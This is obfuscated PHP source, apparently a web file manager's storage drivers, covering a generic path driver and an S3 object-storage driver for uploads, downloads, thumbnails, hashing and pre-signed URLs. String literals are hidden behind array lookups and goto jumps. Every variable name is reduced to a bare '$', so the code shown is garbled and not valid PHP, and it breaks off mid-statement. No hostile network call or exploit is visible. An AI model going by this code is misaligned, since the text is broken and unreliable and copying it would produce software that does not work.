@ftp_chdir($this->connect, $[8]); $[$[33]] = $[78]; } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->uploadMultiData($, $); if ($) { $[$[97]] = $; $[$[98]] = $; } return $; } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $ = $this->link($); $ .= $_SERVER[][1471] . $; $this->fileOutLink($); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } goto d; F: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($, $_SERVER[][8]); } return $; } public function iconvApp($) { return $; } public function iconvSystem($) { return $; } public function iconvTo($, $, $) { $ =& $_SERVER[]; if (!$ || !function_exists($[72])) { return $; } static $ = array(); $ = $ . $[73] . $ . $[74] . $; if (isset($[$])) { return $[$]; } if (function_exists($[75])) { $ = @mb_convert_encoding($, $, $); } else { $ = @iconv($, $, $); } $ = $ ? $ : $; if (strstr($, $[76])) { $ = str_replace($[76], $[11], $); } $[$ . $[73] . $ . $[74] . $] = $; $[$ . $[73] . $ . $[74] . $] = $; $[$ . $[73] . $ . $[74] . $] = $; $[$ . $[73] . $ . $[74] . $] = $; return $; } public function getPathInner($) { $ = IO::init($); return $->path; } public function getPathOuter($) { $ =& $_SERVER[]; $ = strlen(trim($this->pathBase, $[8])); $ = substr(trim($, $[8]), $); return $this->pathDriver . $[8] . ltrim($, $[8]); } public function isParentOf($, $) { $ =& $_SERVER[]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = strpos($, $) === 0; return $; } public function getType() { $ =& $_SERVER[]; $ = str_replace($[77], $[12], get_class($this)); return strtolower($); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8] . $; $ = $this->exist($); return $ ? $ : !1; } public function setModifyTime($, $ = '') { } public function renameObject($, $) { $ = $; $ = $this->getPathOuter($); $ = $this->pathFather($) . $; $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($); } return $ ? $ : !1; } public function tempFile($ = '', $ = '') { if (!$) { $ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { } public function mkdir($, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($) { } public function copyFile($, $) { } public function moveFile($, $) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($, $) { } public function exist($) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($) { } public function info($) { } public function infoSimple($) { return $this->info($); } public function infoAuth($) { return $this->info($); } public function infoFull($) { return $this->info($); } public function infoFullSimple($) { return $this->info($); } public function infoWithChildren($) { $ =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ = $this->info($); if ($ && $[$[33]] == $[78]) { $ = array($[79] => 0, $[80] => 0, $[81] => 0); $this->infoChildren($, $); $[$[79]] = $[$[79]]; $[$[82]] = array($[83] => $[$[80]], $[84] => $[$[81]]); $[$] = $; } return $; } public function listPath($, $ = false) { } public function has($, $ = false, $ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($) { } public function setContent($, $ = '') { } protected function infoChildren($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); $ = array_merge($[$[85]], $[$[86]]); foreach ($ as $) { if ($[$[33]] == $[78]) { $[$[81]]++; $ = $this->getPathInner($[$[87]]); $this->infoChildren($, $); } else { $[$[80]]++; $[$[79]] += $[$[79]]; } } } public function fileSubstr($, $, $) { } public function listAll($) { } public function listAllMake($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ = array_merge($[$[85]], $[$[86]]); foreach ($ as $) { $ = $[$[33]] == $[78]; $ = array($[87] => $[$[87]], $[78] => $); if (isset($[$[79]])) { $[$[79]] = $[$[79]]; } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (!$) { $[] = $; continue; } $[] = $; $ = $[$[87]]; $ = $this->pathDriver; if (substr($[$[87]], 0, strlen($)) == $) { $ = substr($, strlen($)); } $this->listAllMake($, $); } } public function listAllSimple($, $ = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $); } public function listAllSimpleMake($, $, $) { $ =& $_SERVER[]; $ = array(); $ = rtrim(get_path_father($), $[8]) . $[8]; foreach ($ as $) { $ = array($[87] => $[$[87]], $[89] => $[$[87]], $[78] => $[$[78]]); if (isset($[$[79]]) && !$[$[78]]) { $[$[79]] = $[$[79]]; } if (isset($[$[88]])) { $[$[88]] = $[$[88]]; } if (is_array($[$[90]])) { $[$[89]] = $[$[90]][$[87]]; $[$[79]] = $[$[90]][$[79]]; $[$[88]] = $[$[90]][$[88]]; } else { if (substr($[$[87]], 0, strlen($)) == $) { $[$[87]] = substr($[$[87]], strlen($)); } } $ = $[$[78]] ? $[8] : $[12]; $[$[89]] = rtrim($[$[89]], $[8]) . $; $[$[87]] = $[8] . trim($[$[87]], $[8]) . $; if (!$) { $ = explode($[8], trim($[$[87]], $[8])); $[$[87]] = $[8] . implode($[8], array_slice($, 1)) . $; } $[] = $; } return array_sort_by($, $[87]); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($, $, $) { } public function uploadFileByPath($, $, $ = array()) { } public function isUploadServer() { $ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[91]) { return !0; } return $GLOBALS[$[6]][$[92]][$[93]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[91]) { return !0; } return $GLOBALS[$[6]][$[92]][$[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $[8]), trim($this->cdnHost, $[8]), $); } public function uploadLink($, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $ = $ <= $ ? $[95] : $[96]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->{$}($, $); if ($) { $[$[97]] = $; $[$[98]] = $; } return $; } public function uploadFormData($, $ = 3600) { } public function uploadMultiData($, $ = 3600) { } public function multiUploadFormData($, $ = 3600) { return $this->uploadMultiData($, $); } public function download($, $) { } public function ext($) { $ =& $_SERVER[]; if (strpos($, $[8]) === -1) { $ = $; } else { $ = $this->pathThis($); } $ = $[12]; if (strstr($, $[10])) { $ = substr($, strrpos($, $[10]) + 1); $ = strtolower($); } if (strlen($) > 3 && preg_match($[99], $, $)) { $ = $[12]; } return $; } public function pathThis($) { $ =& $_SERVER[]; $ = str_replace($[100], $[8], rtrim($, $[8])); $ = strrpos($, $[8]); if ($ === !1) { return $; } return substr($, $ + 1); } public function pathFather($) { $ =& $_SERVER[]; $ = str_replace($[100], $[8], rtrim($, $[8])); $ = strrpos($, $[8]); if ($ === !1) { return $[12]; } return substr($, 0, $ + 1); } public function hashSimple($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } $ = $this->size($); $ = 200; $ = 50; if ($ <= $ * $) { return $this->hashMd5($) . $; } $ = intval($ / $); $ = $[12]; for ($ = 0; $ < $; $++) { $ .= $this->fileSubstr($, $ * $, $); } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($) { $ =& $_SERVER[]; if (!$) { return md5($[12]); } if (!function_exists($[101])) { return !1; } $ = array($[102], $[103]); $ = Cache::get($[104]); if (!$) { $ = BASIC_PATH . $[105]; $ = md5_file($); $ = $[106]; foreach ($ as $) { $ = shell_exec($ . " "{$}""); if ($ && substr(trim($), 0, 32) == $) { $ = $; break; } } Cache::set($[104], $, 3600); } if ($ == $[106]) { return !1; } $ = shell_exec($ . " "{$}""); $ = str_replace($[107], $[12], $); return substr($, 0, 32); } public function link($) { return $; } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($[108]), !1, $); } $ = $this->getType() == $[109]; $ = $GLOBALS[$[6]][$[92]][$[110]][$[111]]; $ = (double) $GLOBALS[$[6]][$[92]][$[110]][$[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($); $ = $[$[79]]; $ = gmdate($[113], $[$[88]]); $ = $ ? $ : $this->iconvApp($[$[32]]); $ = 0; $ = $ - 1; $ = $this->ext($); if (in_array($, array($[114], $[115], $[116], $[117]))) { $ = $[118]; } if (in_array($, array($[119]))) { $ = $[120]; } if (!$) { $ = md5($ . $); } $ = $[121] . $ . $[121]; $ = get_file_mime($); $ = !0; $ = isset($_GET[$[122]]) ? !1 : !0; if ($ === !1 && !mime_support($)) { $ = $[123]; } header($[124]); header($[125] . $); $ = rawurlencode($); $ = $[121] . $ . $[126] . $; if ($) { header($[127]); header($[128] . $); } else { if ($) { header($[129] . $); } } $ = 3600 * 24 * 30; header($[130]); header($[131]); header($[132] . $); header($[133] . gmdate($[113], time() + $) . $[134]); if (isset($_SERVER[$[135]]) && strtotime($_SERVER[$[135]]) == $[$[88]]) { header($[136], !0, 304); die; } if (isset($_SERVER[$[137]]) && $_SERVER[$[137]] == $) { header($[138] . $, !0, 304); die; } header($[138] . $); header($[139] . $ . $[134]); header($[140] . $); header($[141]); header($[142] . $); header($[143]); Hook::trigger($[144], $, $, $, $); if (!$ && $ == $[145]) { if ($ > 1024 * 1024 * 5) { die; } $ = $this->getContent($); $ = Html::clearSVG($); header($[146] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$[147]]); if ($ && $ && $) { if (strstr($, $[148])) { header($[149] . $); } else { if (strstr($, $[150])) { header($[151] . $); } else { if (strstr($, $[152])) { header($[153] . $); } } } if ($) { header($[154] . $); } return; } if (isset($_SERVER[$[155]])) { if (preg_match($[156], $_SERVER[$[155]], $)) { $ = intval($[1]); $ = $ <= 0 ? 0 : ($ >= $ ? $ : $); if (!empty($[2])) { $ = intval($[2]); $ = $ < $ ? $ : ($ >= $ ? $ : $); } } header($[157]); header("Content-Range: bytes {$}-{$}/" . $); } else { header($[158]); } header($[159]); header($[160]); $ = !0; if ($_SERVER[$[161]] == $[162] && $ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($[163] . ($ - $ + 1)); } if ($_SERVER[$[164]] == $[165]) { return; } $ = array($[166] => !1, $[167] => $, $[168] => $, $[169] => $, $[170] => $, $[171] => $[12], $[172] => 0); $ = Hook::filter($[173], $); $ = 1024 * 300; $ = 0; if ($) { $ = intval(1000 * 1000 * ($ / $)); } while ($ <= $) { $ = timeFloat(); check_abort(); $ = $ - $ + 1; if ($ <= $) { $ = $; } $ = $this->fileSubstr($, $, $); if ($[$[166]]) { $[$[171]] = $; $[$[172]] = $; $ = Hook::filter($[174], $); $ = $[$[171]]; } echo $; $ += $; if ($ == $) { $ = $ + 1; } if ($) { $ = intval(1000 * 1000 * (timeFloat() - $)); $ = $ - $; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $ = false, $ = false, $ = '') { $this->fileOut($, $, $, $); } public function fileOutLink($) { header($_SERVER[][175] . $); die; } public function cacheMethod($, $, $ = null) { $ =& $_SERVER[]; static $ = array(); $ = $ ? ltrim($this->getPathOuter($), $[8]) : $[12]; $ = $[176] . $ . $[177] . rtrim($, $[8]); if (is_null($)) { $ = array(); return; } if (is_null($)) { foreach ($ as $ => $) { if (!strstr($, $[176] . $ . $[178])) { continue; } unset($[$]); } return; } if ($ === $[179]) { unset($[$]); return; } if (!is_null($)) { $[$] = $; return; } $ = isset($[$]) ? $[$] : null; if (!is_null($)) { return $; } $ = $this->{$}($); $[$] = $; return $; } public function cacheMethodInfoSet($, $, $ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[180], $, $); $this->cacheMethod($[181], $, $ ? !1 : !0); if (is_array($)) { $this->cacheMethod($[182], $, $); } } public function fileOutImage($, $ = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($, 0, 4) == $[152]) { $this->fileOutLink($); } $ = $this->info($); $ = !1; $ = isset($GLOBALS[$[183]]) ? $GLOBALS[$[183]] : array(); if ($ && $[$[184]] == $[$[87]]) { $ = $; $ = $[$[185]]; if ($ && isset($[$[186]])) { if ($[$[186]] <= $ && $[$[187]] <= $) { $ = !0; } } } if ($[$[79]] <= 1024 * 50 || $ || !function_exists($[188]) || $[$[169]] == $[189]) { return $this->fileOut($, !1, $[$[32]]); } $ = kodIO::hashPath($); $ = "cover_{$}_{$}.png"; $ = IO_PATH_SYSTEM_TEMP . $[190]; $ = IO::infoFullSimple($); $ = $ && is_array($) ? $[$[87]] : $[12]; if (!$) { $ = IO::mkdir($); } if ($[$[191]] == $[192] && isset($[$[193]]) && $[$[193]] == kodIO::sourceID($)) { $ = $[$[194]]; if ($ <= 500) { $ = preg_replace($[195], $[196], $[$[32]]); $ = IO::fileNameExist($, $); } return IO::fileOut(KodIO::make($), !1, $[$[32]]); } $ = IO::fileNameExist($, $); if ($) { return IO::fileOut(KodIO::make($), !1, $[$[32]]); } if ($ > 1000) { $this->makeImageCover($, $, $, $); $this->makeImageCover($, $, "cover_{$}_250.png", 250); $ = IO::fileNameExist($, $); if ($) { return IO::fileOut(KodIO::make($), !1, $[$[32]]); } die; } if (!kodIO::allowCover($)) { return $this->fileOut($, !1, $[$[32]]); } $ = Cache::get($); if ($ == $[197] || $ == $[198]) { echo $; die; } Cache::set($, $[198], 60); $ = array($, $[$[87]], $, $); $ = $[199] . $[$[79]] . $[200] . $ . $[201] . $[$[32]] . $[202] . $[$[87]]; TaskQueue::add($[203], $, $, $); } public function makeImageCover($, $, $, $) { $ =& $_SERVER[]; if (IO::fileNameExist($, $)) { return $[204]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = $this->getPathOuter($); $ = DATA_THUMB . $; del_file($); $ = IO::copy($, TEMP_FILES, !1, $); if (!@file_exists($)) { return $[205]; } ImageThumb::createThumb($, $, $, $ * 10); if (@file_exists($)) { Cache::remove($); return IO::move($, $); } Cache::set($, $[197], 600); del_file($); return $[206] . $ . $[74]; } public function fileOutImageServer($, $ = 250) { $this->fileOutImage($, $); } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ = $ === $[12] ? $ : rtrim($, $[8]) . $[8] . $; if ($ == REPEAT_REPLACE || !$this->exist($) || $ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; $ = 1; $ = substr($, 0, strlen($) - strlen($)); $ = $ . "({$}){$}"; while ($this->exist(rtrim($, $[8]) . $[8] . $)) { $ = $ . "({$}){$}"; $++; } return $; } private function fileNameAutoList($, $, $ = false) { $ =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$[85]], $[$[86]]); $ = array_to_keyvalue($, $[12], $[32]); $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; $ = substr($, 0, strlen($) - strlen($)); $ = $ . "(0){$}"; for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "({$}){$}"; if (!in_array_not_case($, $)) { return $; } } return $; } public function listAllFiles($, $) { $ =& $_SERVER[]; if (empty($)) { return array(); } $ = array_keys($); $ = array(); $ = trim($, $[8]); foreach ($ as $ => $) { $ = ltrim(substr(trim($, $[8]), strlen($)), $[8]); if (substr($, -1) == $[8]) { $ = rtrim($, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($)); } $ = array(); foreach (array_unique($) as $) { $ = array($[87] => $this->getPathOuter($[8] . $ . $[8] . $), $[78] => 1, $[79] => 0); if (substr($, -1) != $[8]) { $[$[78]] = 0; $ = $this->getPath($ . $[8] . $); if (isset($[$])) { $ = $[$]; if (isset($[$[79]])) { $[$[79]] = intval($[$[79]]); } if (isset($[$[207]])) { $[$[88]] = intval($[$[207]]); } } } $[] = $; } return $; } public function slicePath($) { $ =& $_SERVER[]; $ = explode($[8], trim($, $[8])); $ = 0; do { ++$; $[] = implode($[8], array_slice($, 0, $)) . $[8]; } while ($ < count($)); $[count($) - 1] = $; return $; } public function getHost() { $ =& $_SERVER[]; $ = parse_url(trim($this->domain, $[8])); $ = isset($[$[208]]) ? $[$[208]] : http_type(); $ = isset($[$[209]]) ? $[$[209]] : $[$[87]]; if (isset($[$[210]])) { $ .= $[4] . $[$[210]]; } return $ . $[211] . $; } public function pathEncode($) { $ =& $_SERVER[]; return str_replace($[212], $[8], rawurlencode($)); } public function writeLog($ = '', $ = false) { $ =& $_SERVER[]; $ = in_array(ACTION, array($[213], $[214])); if (!$ && !GLOBAL_DEBUG) { return; } $ = $; static $ = null; if (!$) { $ = strtoupper($this->getType()); } $ = $ . $[215] . $; if ($) { $ = error_get_last(); if ($) { $ = array($, $); } } write_log($, $[216]); if ($) { throw new Exception($); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "v4"; public $ioUploadServer = "0"; public $ioFileOutServer = "0"; public $config = array(); public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[][217]; parent::__construct(); $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $[$[218]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $ = $this->getHost(); if (!get_url_scheme($this->endpoint) && substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } $this->client->setEndpoint($); if (in_array(ACTION, array($[213], $[214]))) { $this->client->setExceptions(); } } public function setSignVersion($ = "v4") { $this->signVer = $; $this->client->setSignVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $) { return null; } } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$[221]])) { $[$[221]] = explode($[50], $[$[221]]); } if ($[$[222]] != $[223] || !in_array($[223], $[$[221]])) { return !1; } $ = array_map($[224], $[$[225]]); if (!is_array($)) { $ = array(); } $ = array($[226], $[227], $[228], $[229], $[230]); $ = array_diff($, $); return empty($); } public function getBktRegion() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; if (empty($) && $ !== $[231]) { return !1; } if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } $ = $this->setContent($, $[12], !0); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $, $ = array()) { $ =& $_SERVER[]; $ = $this->objectMeta($); if (!$) { return !1; } if ($[$[79]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $, $this->bucket, $, $[232], $); } else { $ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $, $); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[231] && !in_array($, $[$[85]])) { $[$[85]][] = $; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $ = $this->client->deleteObjects($this->bucket, $); if (!$) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->folderInfo($, $, $); } foreach ($[$[86]] as $ => $) { $[$[86]][$] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($, &$) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $[$[81]] += count($[$[85]]); $[$[80]] += count($[$[86]]); foreach ($[$[86]] as $) { if (!$ || !$[$[79]]) { continue; } $[$[79]] += $[$[79]]; } } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($), $[33] => $[233], $[169] => $this->ext($), $[79] => isset($[$[79]]) ? $[$[79]] : 0); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[237]]) && $[$[237]]) { $[$[238]] = $[$[237]]; } if (isset($[$[207]])) { $[$[88]] = $[$[207]]; } if (isset($[$[79]])) { $[$[79]] = $[$[79]]; } return $; } private function folderInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[234]] = $[$[88]] = 0; $[$[235]] = $[$[236]] = !0; if ($ == $[12]) { return $; } if (empty($)) { $ = $this->objectMeta(trim($, $[8]) . $[8]); } if (isset($[$[207]])) { $[$[234]] = $[$[207]]; } return $; } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->listObjs($, null, null, $); if (!$) { return array($[85] => array(), $[86] => array()); } $ = $ = array(); foreach ($[$[239]] as $) { $ = $[$[32]]; if ($ == $) { continue; } $ = isset($[$[79]]) ? $[$[79]] : 0; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ ? $ : $; } foreach ($[$[240]] as $) { $[] = $[$[32]]; $this->cacheMethodInfoSet($[$[32]], !0); } $this->cacheMethodInfoSet($, !0); return array($[85] => $, $[86] => $); } private function listObjs($, $ = null, $ = null, $ = null) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[231] ? $[12] : $ . $[8]; return $this->client->getBucket($this->bucket, $, $, $, $, !0); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[231] ? $[12] : $ . $[8]; $ = null; $ = 500; $ = $[8]; $ = $ = array(); while (!0) { $ = $this->listObjs($, $, $, $); if (!$) { break; } $ = $[$[241]]; $ = $[$[239]]; $ = $[$[240]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$[32]] == $) { break; } if ($) { if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if ($ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === null) { break; } } if ($) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($[242] => $, $[243] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[244], $[245], $[246])) ? !0 : !1; } public function canWrite($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[244], $[245])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($, $ = '', $ = false) { $ =& $_SERVER[]; $ = $ ? trim($, $[8]) . $[8] : $; $ = get_file_mime(get_path_ext($)); $ = $this->client->putObject($, $this->bucket, $, $[232], array(), $); if (!$) { return !1; } if ($) { return !0; } return $ ? !0 : !1; } public function fileSubstr($, $, $) { $ = $ + $ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[][247] => "bytes={$}-{$}")); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = array($[248] => @md5_file($)); $ = array($[249] => get_file_mime(get_path_ext($))); if (IO::size($) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($, $this->bucket, $, $[232], $, $); return !empty($) ? $this->getPathOuter($) : !1; } $ = $this->client->multiUploadObject($, $this->bucket, trim($, $[8]), $, $); return $ ? $this->getPathOuter($) : !1; } public function download($, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ = $this->client->getObject($this->bucket, $, array(), $); return $ !== !1 ? $ : !1; } public function link($, $ = array()) { return $this->getPreSignedURL($, 3600 * 12, $); } private function getPreSignedURL($, $, $ = array(), $ = "GET") { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->signVer == $[250]) { return $this->client->getPreSignedV2URL($this->bucket, $, $, $, $); } return $this->client->getPreSignedV4URL($this->bucket, $, $, array(), $, $); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = get_file_mime(get_path_ext($)); if ($ == $[251]) { return parent::fileOut($, $, $, $); } $ = array($[252] => $); if ($) { $[$[253]] = $[254] . rawurlencode($); } else { } $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($, $ = '') { $ = $this->objectMeta($); if (!$) { return !1; } $ = $ ? $ : _get($, $_SERVER[][255]); return $; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; if (!$this->_isClientAsync()) { $ = $this->getPreSignedURL($, $, array(), $[256]); return array($[209] => str_replace($[219], $[257], $)); } if (isset($GLOBALS[$[6]][$[92]][$[258]]) && $GLOBALS[$[6]][$[92]][$[258]] == $[231]) { return $this->uploadMultiData($, $); } if ($this->signVer == $[250]) { return $this->uploadFormDataV2($, $); } return $this->uploadFormDataV4($, $); } public function uploadFormDataV2($, $ = 3600) { $ =& $_SERVER[]; $ = $this->pathFather($); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $[232], $); $ = array_merge((array) $, array($[259] => $[250], $[209] => $this->getHost())); if ($this->_isClientAsync()) { unset($[$[259]]); } return $; } public function uploadFormDataV4($, $ = 3600) { $ =& $_SERVER[]; $ = $[232]; $ = $[260]; $ = $[62]; $ = gmdate($[261]); $ = gmdate($[262]); $ = $[263]; $ = $ . $[12]; $ = $[264]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $); $ = array($[265] => gmdate($[266], strtotime($[267])), $[268] => array(array($[269] => $this->bucket), array($[270], $[271], $[12]), array($[270], $[272], $[12]), array($[273] => $), array($[274] => $), array($[275] => $), array($[276] => $), array($[277] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[278], $, $[279] . $this->secret, !0); $ = hash_hmac($[278], $this->region, $, !0); $ = hash_hmac($[278], $, $, !0); $ = hash_hmac($[278], $, $, !0); $ = hash_hmac($[278], $, $); $ = array($[249] => $[12], $[273] => $, $[280] => $, $[274] => $, $[275] => $, $[276] => $, $[277] => $, $[281] => $, $[259] => $[250], $[209] => $this->getHost()); if ($this->_isClientAsync()) { unset($[$[259]]); } return $; } public function uploadMultiData($, $ = 3600) { $ =& 